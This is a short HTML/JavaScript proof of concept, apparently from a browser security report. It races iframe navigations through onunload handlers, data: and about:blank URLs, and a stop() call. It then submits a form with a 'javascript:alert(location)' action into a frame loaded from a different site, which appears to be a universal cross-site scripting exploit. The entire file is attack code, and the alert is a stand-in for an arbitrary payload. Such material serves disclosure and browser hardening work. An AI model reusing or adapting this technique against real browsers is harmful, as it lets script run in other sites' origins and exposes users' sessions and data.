<script>
onload = function() {
  var a = i1.contentDocument.createElement('a');
  a.href = 'data:text/xml,';
  a.click();
}

var i0 = document.documentElement.appendChild(document.createElement('iframe'));
i0.contentDocument.open();
var i1 = document.documentElement.appendChild(document.createElement('iframe'));
i1.src = 'data:text/html,a';
var i10 = i1.contentDocument.body.appendChild(document.createElement('iframe'));
i10.contentWindow.onunload = function () {
  i10.contentWindow.onunload = null;
  if (document.readyState == 'loading') {
    return location.reload();
  }
  i0.contentDocument.close();
  var a = i1.contentDocument.createElement('a');
  a.href = 'data:text/html,';
  a.click();
  a = i1.contentDocument.createElement('a');
  a.href = 'about:blank';
  a.click();
  d = i1.contentDocument;
  i10 = d.body.appendChild(d.createElement('iframe'));
  i10.contentWindow.onunload = function() {
    stop();
    setTimeout(f, 1);
  }
  a = d.createElement('a');
  a.href = 'http://www.apple.com';
  a.click();
}

function f() {
  i1.onload = function() {
    var x = d.createElement('form');
    x.action = 'javascript:alert(location)';
    x.submit();
  }
  i1.src = 'https://abc.xyz';
}
</script>